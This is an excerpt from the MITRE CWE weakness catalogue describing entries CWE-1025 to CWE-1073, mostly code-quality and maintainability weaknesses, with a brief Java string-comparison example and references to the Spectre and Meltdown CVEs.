
## CWE-1025: Comparison Using Wrong Factors

**Weakness ID :** 1025  
**Structure :** Simple  
**Abstraction :** Base

**Status:** Incomplete

### Description

The code performs a comparison between two entities, but the comparison examines the wrong factors or characteristics of the entities, which can lead to incorrect results and resultant weaknesses.

### Extended Description

This can lead to incorrect results and resultant weaknesses. For example, the code might inadvertently compare references to objects, instead of the relevant contents of those objects, causing two "equal" objects to be considered unequal.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf	P	697	Incorrect Comparison	1346
ParentOf	✓	486	Comparison of Classes by Name	1034
ParentOf	✓	595	Comparison of Object References Instead of Object Contents	1184

*Relevant to the view "Software Development" (CWE-699)*

Nature	Type	ID	Name	Page
MemberOf	ⓐ	438	Behavioral Problems	1795

### Weakness Ordinalities

**Primary :**

### Applicable Platforms

**Language :** Language-Independent (*Prevalence = Undetermined*)

### Common Consequences

Scope	Impact	Likelihood
Other	Varies by Context	

### Potential Mitigations

#### Phase: Testing

Thoroughly test the comparison scheme before deploying code into production. Perform positive testing as well as negative testing.

### Demonstrative Examples

**Example 1:**

In the example below, two Java String objects are declared and initialized with the same string values and an if statement is used to determine if the strings are equivalent.

Example Language: Java

(bad)

```
String str1 = new String("Hello");
String str2 = new String("Hello");
if (str1 == str2) {
    System.out.println("str1 == str2");
}
```

However, the if statement will not be executed as the strings are compared using the "==" operator. For Java objects, such as String objects, the "==" operator compares object references, not object values. While the two String objects above contain the same string values, they refer to different object references, so the System.out.println statement will not be executed. To compare object values, the previous code could be modified to use the equals method:

Example Language:

(good)

```
if (str1.equals(str2)) {
    System.out.println("str1 equals str2");
}
```

## CWE-1037: Processor Optimization Removal or Modification of Security-critical Code

**Weakness ID :** 1037

**Status:** Incomplete

**Structure :** Simple

**Abstraction :** Base

### Description

The developer builds a security-critical protection mechanism into the software, but the processor optimizes the execution of the program such that the mechanism is removed or modified.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf		1038	Insecure Automated Optimizations	1636

*Relevant to the view "Software Development" (CWE-699)*

Nature	Type	ID	Name	Page
MemberOf		438	Behavioral Problems	1795

### Weakness Ordinalities

**Primary :** This weakness does not depend on other weaknesses and is the result of choices made by the processor in executing the specified application.

### Applicable Platforms

**Language :** Language-Independent (Prevalence = Rarely)

### Likelihood Of Exploit

Low

### Common Consequences

Scope	Impact	Likelihood
Integrity	Bypass Protection Mechanism  <i>A successful exploitation of this weakness will change the order of an application's execution and will likely be used to bypass specific protection mechanisms. This bypass can be exploited further to potentially read data that should otherwise be inaccessible.</i>	High

### Detection Methods

#### White Box

In theory this weakness can be detected through the use of white box testing techniques where specifically crafted test cases are used in conjunction with debuggers to verify the order of statements being executed.

*Effectiveness = Opportunistic*

*Although the mentioned detection method is theoretically possible, the use of speculative execution is a preferred way of increasing processor performance. The reality is that a large number of statements are executed out of order, and determining if any of them break an access control property would be extremely opportunistic.*

### Observed Examples

Reference	Description
<b>CVE-2017-5715</b>	Intel, ARM, and AMD processor optimizations related to speculative execution and branch prediction cause access control checks to be bypassed when placing data into the cache. Often known as "Spectre". <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-5715">https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-5715</a>
<b>CVE-2017-5753</b>	Intel, ARM, and AMD processor optimizations related to speculative execution and branch prediction cause access control checks to be bypassed when placing data into the cache. Often known as "Spectre". <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-5753">https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-5753</a>
<b>CVE-2017-5754</b>	Intel processor optimizations related to speculative execution cause access control checks to be bypassed when placing data into the cache. Often known as "Meltdown". <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-5754">https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-5754</a>

## CWE-1038: Insecure Automated Optimizations

<b>Weakness ID</b> : 1038	<b>Status</b> : Draft
<b>Structure</b> : Simple	
<b>Abstraction</b> : Class	

### Description

The product uses a mechanism that automatically optimizes code, e.g. to improve a characteristic such as performance, but the optimizations can have an unintended side effect that might violate an intended security assumption.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf		758	Reliance on Undefined, Unspecified, or Implementation-Defined Behavior	1390
ChildOf		435	Improper Interaction Between Multiple Correctly-Behaving Entities	941
ParentOf		733	Compiler Optimization Removal or Modification of Security-critical Code	1372
ParentOf		1037	Processor Optimization Removal or Modification of Security-critical Code	1635

### Weakness Ordinalities

**Primary** : This weakness does not depend on other weaknesses and is the result of choices made during optimization.

### Applicable Platforms

**Language** : Language-Independent (*Prevalence = Undetermined*)

### Likelihood Of Exploit

Low

### Common Consequences

Scope	Impact	Likelihood
Integrity	Alter Execution Logic  <i>The optimizations alter the order of execution resulting in side effects that were not intended by the original developer.</i>	

## CWE-1039: Automated Recognition Mechanism with Inadequate Detection or Handling of Adversarial Input Perturbations

**Weakness ID** : 1039

**Status**: Incomplete

**Structure** : Simple

**Abstraction** : Class

### Description

The product uses an automated mechanism such as machine learning to recognize complex data inputs (e.g. image or audio) as a particular concept or category, but it does not properly detect or handle inputs that have been modified or constructed in a way that causes the mechanism to detect a different, incorrect concept.

### Extended Description

When techniques such as machine learning are used to automatically classify input streams, and those classifications are used for security-critical decisions, then any mistake in classification can

introduce a vulnerability that allows attackers to cause the product to make the wrong security decision. If the automated mechanism is not developed or "trained" with enough input data, then attackers may be able to craft malicious input that intentionally triggers the incorrect classification.

Targeted technologies include, but are not necessarily limited to:

- automated speech recognition
- automated image recognition

For example, an attacker might modify road signs or road surface markings to trick autonomous vehicles into misreading the sign/markings and performing a dangerous action.

## Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf	P	697	Incorrect Comparison	1346
ChildOf	P	693	Protection Mechanism Failure	1341

## Weakness Ordinalities

**Primary :** This weakness does not depend on other weaknesses and is the result of choices made during optimization.

## Applicable Platforms

**Language :** Language-Independent (*Prevalence = Undetermined*)

## Common Consequences

Scope	Impact	Likelihood
Integrity	Bypass Protection Mechanism  <i>When the automated recognition is used in a protection mechanism, an attacker may be able to craft inputs that are misinterpreted in a way that grants excess privileges.</i>	

## Notes

### Relationship

Further investigation is needed to determine if better relationships exist or if additional organizational entries need to be created. For example, this issue might be better related to "recognition of input as an incorrect type," which might place it as a sibling of CWE-704 (incorrect type conversion).

## CWE-1041: Use of Redundant Code

<b>Weakness ID</b> : 1041	<b>Status</b> : Incomplete
<b>Structure</b> : Simple	
<b>Abstraction</b> : Base	

### Description

The software has multiple functions, methods, procedures, macros, etc. that contain the same code.

### Extended Description

This issue makes it more difficult to maintain the software, which indirectly affects security by making it more difficult or time-consuming to find and/or fix vulnerabilities. For example, if there are two copies of the same code, the programmer might fix a weakness in one copy while forgetting to fix the same weakness in another copy.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

## CWE-1042: Static Member Data Element outside of a Singleton Class Element

<b>Weakness ID</b> : 1042	<b>Status</b> : Incomplete
<b>Structure</b> : Simple	
<b>Abstraction</b> : Variant	

## Description

The code contains a member element that is declared as static (but not final), in which its parent class element is not a singleton class - that is, a class element that can be used only once in the 'to' association of a Create action.

## Extended Description

This issue can make the software perform more slowly. If the relevant code is reachable by an attacker, then this performance problem might introduce a vulnerability.

## Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

## CWE-1043: Data Element Aggregating an Excessively Large Number of Non-Primitive Elements

**Weakness ID :** 1043 **Status:** Incomplete  
**Structure :** Simple  
**Abstraction :** Base

### Description

The software uses a data element that has an excessively large number of sub-elements with non-primitive data types such as structures or aggregated objects.

### Extended Description

This issue can make the software perform more slowly. If the relevant code is reachable by an attacker, then this performance problem might introduce a vulnerability.

While the interpretation of "excessively large" may vary for each product or developer, CISQ recommends a default of 5 sub-elements.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

## CWE-1044: Architecture with Number of Horizontal Layers Outside of Expected Range

<b>Weakness ID</b> : 1044	<b>Status</b> : Incomplete
<b>Structure</b> : Simple	
<b>Abstraction</b> : Base	

### Description

The software's architecture contains too many - or too few - horizontal layers.

### Extended Description

This issue makes it more difficult to maintain the software, which indirectly affects security by making it more difficult or time-consuming to find and/or fix vulnerabilities. It also might make it easier to introduce vulnerabilities.

While the interpretation of "expected range" may vary for each product or developer, CISQ recommends a default minimum of 4 layers and maximum of 8 layers.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

## CWE-1045: Parent Class with a Virtual Destructor and a Child Class without a Virtual Destructor

<b>Weakness ID</b> : 1045	<b>Status</b> : Incomplete
<b>Structure</b> : Simple	
<b>Abstraction</b> : Variant	

## Description

A parent class has a virtual destructor method, but the parent has a child class that does not have a virtual destructor.

## Extended Description

This issue can prevent the software from running reliably, since the child might not perform essential destruction operations. If the relevant code is reachable by an attacker, then this reliability problem might introduce a vulnerability, such as a memory leak (CWE-401).

## Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

## CWE-1046: Creation of Immutable Text Using String Concatenation

**Weakness ID :** 1046

**Status:** Incomplete

**Structure :** Simple

**Abstraction :** Base

### Description

The software creates an immutable text string using string concatenation operations.

### Extended Description

When building a string via a looping feature (e.g., a FOR or WHILE loop), the use of += to append to the existing string will result in the creation of a new object with each iteration. This programming pattern can be inefficient in comparison with use of text buffer data elements. This issue can make the software perform more slowly. If the relevant code is reachable by an attacker, then this could be influenced to create performance problem.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

## CWE-1047: Modules with Circular Dependencies

<b>Weakness ID</b> : 1047	<b>Status</b> : Incomplete
<b>Structure</b> : Simple	
<b>Abstraction</b> : Base	

### Description

The software contains modules in which one module has references that cycle back to itself, i.e., there are circular dependencies.

### Extended Description

As an example, with Java, this weakness might indicate cycles between packages.

This issue makes it more difficult to maintain the software due to insufficient modularity, which indirectly affects security by making it more difficult or time-consuming to find and/or fix vulnerabilities. It also might make it easier to introduce vulnerabilities.

This issue can prevent the software from running reliably. If the relevant code is reachable by an attacker, then this reliability problem might introduce a vulnerability.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

## CWE-1048: Invokable Control Element with Large Number of Outward Calls

<b>Weakness ID</b> : 1048	<b>Status</b> : Incomplete
<b>Structure</b> : Simple	
<b>Abstraction</b> : Base	

### Description

The code contains callable control elements that contain an excessively large number of references to other application objects external to the context of the callable, i.e. a Fan-Out value that is excessively large.

### Extended Description

While the interpretation of "excessively large Fan-Out value" may vary for each product or developer, CISQ recommends a default of 5 referenced objects.

This issue makes it more difficult to maintain the software, which indirectly affects security by making it more difficult or time-consuming to find and/or fix vulnerabilities. It also might make it easier to introduce vulnerabilities.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. ## CWE-1049: Excessive Data Query Operations in a Large Data Table

**Weakness ID :** 1049 **Status:** Incomplete

**Structure :** Simple

**Abstraction :** Base

### Description

The software performs a data query with a large number of joins and sub-queries on a large data table.

### Extended Description

This issue can make the software perform more slowly. If the relevant code is reachable by an attacker, then this performance problem might introduce a vulnerability.

While the interpretation of "large data table" and "large number of joins or sub-queries" may vary for each product or developer, CISQ recommends a default of 1 million rows for a "large" data table, a default minimum of 5 joins, and a default minimum of 3 sub-queries.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

## CWE-1050: Excessive Platform Resource Consumption within a Loop

<b>Weakness ID</b> : 1050	<b>Status</b> : Incomplete
<b>Structure</b> : Simple	
<b>Abstraction</b> : Base	

### Description

The software has a loop body or loop condition that contains a control element that directly or indirectly consumes platform resources, e.g. messaging, sessions, locks, or file descriptors.

### Extended Description

This issue can make the software perform more slowly. If an attacker can influence the number of iterations in the loop, then this performance problem might allow a denial of service by consuming more platform resources than intended.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

## CWE-1051: Initialization with Hard-Coded Network Resource Configuration Data

<b>Weakness ID</b> : 1051	<b>Status</b> : Incomplete
<b>Structure</b> : Simple	
<b>Abstraction</b> : Base	

### Description

The software initializes data using hard-coded values that act as network resource identifiers.

### Extended Description

This issue can prevent the software from running reliably, e.g. if it runs in an environment does not use the hard-coded network resource identifiers. If the relevant code is reachable by an attacker, then this reliability problem might introduce a vulnerability.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

## CWE-1052: Excessive Use of Hard-Coded Literals in Initialization

**Weakness ID** : 1052

**Status**: Incomplete

**Structure** : Simple

**Abstraction** : Base

### Description

The software initializes a data element using a hard-coded literal that is not a simple integer or static constant element.

### Extended Description

This issue makes it more difficult to modify or maintain the software, which indirectly affects security by making it more difficult or time-consuming to find and/or fix vulnerabilities. It also might make it easier to introduce vulnerabilities.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

## CWE-1053: Missing Documentation for Design

<b>Weakness ID</b> : 1053	<b>Status</b> : Incomplete
<b>Structure</b> : Simple	
<b>Abstraction</b> : Base	

### Description

The product does not have documentation that represents how it is designed.

### Extended Description

This issue can make it more difficult to understand and maintain the product. It can make it more difficult and time-consuming to detect and/or fix vulnerabilities.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

## CWE-1054: Invocation of a Control Element at an Unnecessarily Deep Horizontal Layer

<b>Weakness ID</b> : 1054	<b>Status</b> : Incomplete
<b>Structure</b> : Simple	
<b>Abstraction</b> : Base	

### Description

The code at one architectural layer invokes code that resides at a deeper layer than the adjacent layer, i.e., the invocation skips at least one layer, and the invoked code is not part of a vertical utility layer that can be referenced from any horizontal layer.

### Extended Description

This issue makes it more difficult to understand and maintain the software, which indirectly affects security by making it more difficult or time-consuming to find and/or fix vulnerabilities. It also might make it easier to introduce vulnerabilities.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

## CWE-1055: Multiple Inheritance from Concrete Classes

<b>Weakness ID</b> : 1055	<b>Status</b> : Incomplete
<b>Structure</b> : Simple	
<b>Abstraction</b> : Base	

### Description

The software contains a class with inheritance from more than one concrete class.

### Extended Description

This issue makes it more difficult to maintain the software, which indirectly affects security by making it more difficult or time-consuming to find and/or fix vulnerabilities. It also might make it easier to introduce vulnerabilities.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. ## CWE-1056: Invokable Control Element with Variadic Parameters

<b>Weakness ID</b> : 1056	<b>Status</b> : Incomplete
<b>Structure</b> : Simple	
<b>Abstraction</b> : Base	

## Description

A named-callable or method control element has a signature that supports a variable (variadic) number of parameters or arguments.

## Extended Description

This issue can prevent the software from running reliably. If the relevant code is reachable by an attacker, then this reliability problem might introduce a vulnerability.

With variadic arguments, it can be difficult or inefficient for manual analysis to be certain of which function/method is being invoked.

## Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

## CWE-1057: Data Access Operations Outside of Expected Data Manager Component

<b>Weakness ID</b> : 1057	<b>Status</b> : Incomplete
<b>Structure</b> : Simple	
<b>Abstraction</b> : Base	

## Description

The software uses a dedicated, central data manager component as required by design, but it contains code that performs data-access operations that do not use this data manager.

## Extended Description

This issue can make the software perform more slowly than intended, since the intended central data manager may have been explicitly optimized for performance or other quality characteristics. If the relevant code is reachable by an attacker, then this performance problem might introduce a vulnerability.

## Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

## CWE-1058: Invokable Control Element in Multi-Thread Context with non-Final Static Storable or Member Element

<b>Weakness ID</b> : 1058	<b>Status</b> : Incomplete
<b>Structure</b> : Simple	
<b>Abstraction</b> : Base	

## Description

The code contains a function or method that operates in a multi-threaded environment but owns an unsafe non-final static storable or member data element.

## Extended Description

This issue can prevent the software from running reliably. If the relevant code is reachable by an attacker, then this reliability problem might introduce a vulnerability.

## Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. ## CWE-1059: Incomplete Documentation

<b>Weakness ID</b> : 1059	<b>Status</b> : Incomplete
<b>Structure</b> : Simple	
<b>Abstraction</b> : Class	

### Description

The documentation, whether on paper or in electronic form, does not contain descriptions of all the relevant elements of the product, such as its usage, structure, interfaces, design, implementation, configuration, operation, etc.

### Extended Description

This issue makes it more difficult to maintain the software, which indirectly affects security by making it more difficult or time-consuming to find and/or fix vulnerabilities. It also might make it easier to introduce vulnerabilities.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Scope	Impact	Likelihood
Other	Reduce Maintainability	

## CWE-1060: Excessive Number of Inefficient Server-Side Data Accesses

**Weakness ID** : 1060**Status**: Incomplete**Structure** : Simple**Abstraction** : Base

### Description

The software performs too many data queries without using efficient data processing functionality such as stored procedures.

### Extended Description

This issue can make the software perform more slowly due to computational expense. If the relevant code is reachable by an attacker, then this performance problem might introduce a vulnerability.

While the interpretation of "too many data queries" may vary for each product or developer, CISQ recommends a default maximum of 5 data queries for an inefficient function/procedure.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. ## CWE-1061: Insufficient Encapsulation

<b>Weakness ID</b> : 1061	<b>Status</b> : Incomplete
<b>Structure</b> : Simple	
<b>Abstraction</b> : Class	

### Description

The software does not sufficiently hide the internal representation and implementation details of data or methods, which might allow external components or modules to modify data unexpectedly, invoke unexpected functionality, or introduce dependencies that the programmer did not intend.

### Extended Description

This issue makes it more difficult to maintain the software, which indirectly affects security by making it more difficult or time-consuming to find and/or fix vulnerabilities. It also might make it easier to introduce vulnerabilities.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. ## CWE-1062: Parent Class with References to Child Class

<b>Weakness ID</b> : 1062	<b>Status</b> : Incomplete
<b>Structure</b> : Simple	
<b>Abstraction</b> : Base	

### Description

The code has a parent class that contains references to a child class, its methods, or its members.

## Extended Description

This issue can prevent the software from running reliably. If the relevant code is reachable by an attacker, then this reliability problem might introduce a vulnerability.

## Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. ## CWE-1063: Creation of Class Instance within a Static Code Block

Weakness ID : 1063

Status: Incomplete

Structure : Simple

Abstraction : Base

## Description

A static code block creates an instance of a class.

## Extended Description

This pattern identifies situations where a storable data element or member data element is initialized with a value in a block of code which is declared as static.

This issue can make the software perform more slowly by performing initialization before it is needed. If the relevant code is reachable by an attacker, then this performance problem might introduce a vulnerability.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. ## CWE-1064: Invokable Control Element with Signature Containing an Excessive Number of Parameters

<b>Weakness ID</b> : 1064	<b>Status</b> : Incomplete
<b>Structure</b> : Simple	
<b>Abstraction</b> : Base	

### Description

The software contains a function, subroutine, or method whose signature has an unnecessarily large number of parameters/arguments.

### Extended Description

This issue makes it more difficult to understand and/or maintain the software, which indirectly affects security by making it more difficult or time-consuming to find and/or fix vulnerabilities. It also might make it easier to introduce vulnerabilities.

While the interpretation of "large number of parameters." may vary for each product or developer, CISQ recommends a default maximum of 7 parameters/arguments.

## Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. ## CWE-1065: Runtime Resource Management Control Element in a Component Built to Run on Application Servers

<b>Weakness ID</b> : 1065	<b>Status</b> : Incomplete
<b>Structure</b> : Simple	
<b>Abstraction</b> : Base	

## Description

The application uses deployed components from application servers, but it also uses low-level functions/methods for management of resources, instead of the API provided by the application server.

### Extended Description

This issue can prevent the software from running reliably. If the relevant code is reachable by an attacker, then this reliability problem might introduce a vulnerability.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

## CWE-1066: Missing Serialization Control Element

<b>Weakness ID</b> : 1066	<b>Status</b> : Incomplete
<b>Structure</b> : Simple	
<b>Abstraction</b> : Base	

### Description

The software contains a serializable data element that does not have an associated serialization method.

### Extended Description

This issue can prevent the software from running reliably, e.g. by triggering an exception. If the relevant code is reachable by an attacker, then this reliability problem might introduce a vulnerability.

As examples, the serializable nature of a data element comes from a serializable `SerializableAttribute` attribute in .NET and the inheritance from the `java.io.Serializable` interface in Java.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as `ChildOf`, `ParentOf`, `MemberOf` and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as `PeerOf` and `CanAlsoBe` are defined to show similar weaknesses that may want to be explored.

## CWE-1067: Excessive Execution of Sequential Searches of Data Resource

Weakness ID : 1067

Status: Incomplete

Structure : Simple

**Abstraction** : Base**Description**

The software contains a data query against an SQL table or view that is configured in a way that does not utilize an index and may cause sequential searches to be performed.

**Extended Description**

This issue can make the software perform more slowly. If the relevant code is reachable by an attacker, then this performance problem might introduce a vulnerability.

**Relationships**

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

**CWE-1068: Inconsistency Between Implementation and Documented Design**

**Weakness ID** : 1068 **Status**: Incomplete  
**Structure** : Simple  
**Abstraction** : Base

**Description**

The implementation of the product is not consistent with the design as described within the relevant documentation.

### Extended Description

This issue makes it more difficult to maintain the software due to inconsistencies, which indirectly affects security by making it more difficult or time-consuming to find and/or fix vulnerabilities. It also might make it easier to introduce vulnerabilities.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

## CWE-1069: Empty Exception Block

<b>Weakness ID :</b> 1069	<b>Status:</b> Incomplete
<b>Structure :</b> Simple	
<b>Abstraction :</b> Base	

---

### Description

An invocable code block contains an exception handling block that does not contain any code, i.e. is empty.

### Extended Description

When an exception handling block (such as a Catch and Finally block) is used, but that block is empty, this can prevent the software from running reliably. If the relevant code is reachable by an attacker, then this reliability problem might introduce a vulnerability.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

## CWE-1070: Serializable Data Element Containing non-Serializable Item Elements

<b>Weakness ID</b> : 1070	<b>Status</b> : Incomplete
<b>Structure</b> : Simple	
<b>Abstraction</b> : Base	

### Description

The software contains a serializable, storable data element such as a field or member, but the data element contains member elements that are not serializable.

### Extended Description

This issue can prevent the software from running reliably. If the relevant code is reachable by an attacker, then this reliability problem might introduce a vulnerability.

As examples, the serializable nature of a data element comes from a serializable SerializableAttribute attribute in .NET and the inheritance from the java.io.Serializable interface in Java.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to

similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

## CWE-1071: Empty Code Block

**Weakness ID :** 1071 **Status:** Incomplete

**Structure :** Simple

**Abstraction :** Base

### Description

The source code contains a block that does not contain any code, i.e., the block is empty.

### Extended Description

Empty code blocks can occur in the bodies of conditionals, function or method definitions, exception handlers, etc. While an empty code block might be intentional, it might also indicate incomplete implementation, accidental code deletion, unexpected macro expansion, etc. For some programming languages and constructs, an empty block might be allowed by the syntax, but the lack of any behavior within the block might violate a convention or API in such a way that it is an error.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Scope	Impact	Likelihood
Other	Reduce Reliability	

## CWE-1072: Data Resource Access without Use of Connection Pooling

<b>Weakness ID</b> : 1072	<b>Status</b> : Incomplete
<b>Structure</b> : Simple	
<b>Abstraction</b> : Base	

### Description

The software accesses a data resource through a database without using a connection pooling capability.

### Extended Description

This issue can make the software perform more slowly, as connection pools allow connections to be reused without the overhead and time consumption of opening and closing a new connection. If the relevant code is reachable by an attacker, then this performance problem might introduce a vulnerability.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

## CWE-1073: Non-SQL Invokable Control Element with Excessive Number of Data Resource Accesses

<b>Weakness ID</b> : 1073	<b>Status</b> : Incomplete
<b>Structure</b> : Simple	
<b>Abstraction</b> : Base	

## Description

The software contains a client with a function or method that contains a large number of data accesses/queries that are sent through a data manager, i.e., does not use efficient database capabilities.

## Extended Description

